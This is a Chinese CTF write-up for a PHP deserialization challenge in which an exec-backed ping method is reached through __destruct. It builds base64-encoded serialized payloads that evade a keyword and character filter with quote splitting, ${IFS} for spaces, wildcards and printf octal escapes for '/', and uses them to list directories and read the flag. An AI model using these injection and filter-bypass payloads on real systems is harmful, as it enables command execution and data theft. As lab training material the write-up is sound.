解题思路
比较复杂的一题...
打开靶场,给了源码
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
我们分开剖析每一段源码:
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
__construct魔术方法,
在类被实例化的时候会被调用,反序列化时不调用。
这里仅做了一个参数传值的操作
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
析构魔术方法__destruct(),在类被销毁时自动调用,或者在被反序列化的类销毁时会被调用。
这里有个in_array()方法,这个方法用来判断某个变量在数组中是否存在,返回布尔类型。
这里呢就是判断数组[ping]中是否包含了我们的变量method。如果包含,才继续。
进入嵌套中有call_user_func_array()方法,
它的作用就是 —— “把一个数组中的参数,作为函数的参数依次传入并调用该函数。”
第一个参数是函数方法,第二个参数则是数组。说明args变量为数组,前面method则为方法。
这里明显就是要调用ping方法,因为判断就是必须要method等于ping,然后args呢就必须是ping方法中要传递的参数。
接下来Ping方法来了
function ping($ip){
exec($ip, $result);
var_dump($result);
}
传入参数ip,并且以命令执行exec,然后输出结果。看到这里就能想到我们的args是我们需要注入的命令了。
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
然后是WAF方法,过滤了很多字符、字母等,需要绕过。
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
wakeup魔术方法,在类被反序列化时会被自动调用。
这里就是将我们要注入的命令输入到WAF过滤。
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
用POST传入ctf参数,然后进行base64解码,然后再进行反序列化。
总结:
1. 我们需要调用ping方法,执行注入命令,怎么调用?
2. 析构魔术方法__destruct()会调用Ping方法,只要我们让method="ping"即可,怎么调用析构魔术方法?
3.在类被反序列化后销毁调用,我们可以提交base64编码的反序列化对象作为ctf值进行传入,然后就会被base64解码、反序列化,最后会调用析构魔术方法。但是,反序列化时会调用wakeup魔术方法,即我们的输入会进而调用WAF方法,命令会被过滤。
4.所以我们需要绕过WAF即可注入命令。
下面构造Payload,绕过waf,进行ls命令注入,查看当前目录
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
这里由于ls被waf过滤,可以采用多种绕过方式:如,l''s 或 l""s 或 l/s等等
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
post提交ctf即可,看到flag_ls_here文件夹。
这里有个坑点:ctf提交的时候,与数据包头之间空行不能太多,后面的空行也不行,否则无法识别。。不知道是我burpsuit的原因还是什么?我反正在其他题目空行就没什么问题...
知道flag_ls_here了,那么继续注入命令,ls该文件夹
注意flag被过滤了,可以用fl*通配符绕过,即fl开头的所有文件,这里只有目标文件。
当然也可以像ls那样用字符绕过。
其中${IFS},是经典的空格绕过。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}fl*'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
payload:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMzoibCIicyR7SUZTfWZsKiI7fX0=
可以看到应该是最终的flag文件了
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ca""t${IFS}fl*$(printf${IFS}"\57")fl*'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
这里cat用字符绕过,空格用老规矩绕过,fl文件夹和fl文件都可以用通配符绕过,比较难得就是目录符号/的绕过:
$(printf${IFS}"\57")
↓ 执行过程
1. ${IFS} → 空格
2. 执行命令: printf "\\57"
3. 输出结果: /
4. 最终替换: $() 位置被替换为 /
最终:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozNzoiY2EiInQke0lGU31mbCokKHByaW50ZiR7SUZTfSJcNTciKWZsKiI7fX0=
成功找到flag。
总结
一道比较复杂的反序列化漏洞题目,难点主要是在绕过这里。
这里我第一时间想到的是利用反序列化漏洞,绕过WAF检测,也就是将序列化的属性数量多余实际数量,绕过wakeup方法,但是此题无法绕过,可能是源码检测了不给绕过吧,我看其他人的WP没有绕过的...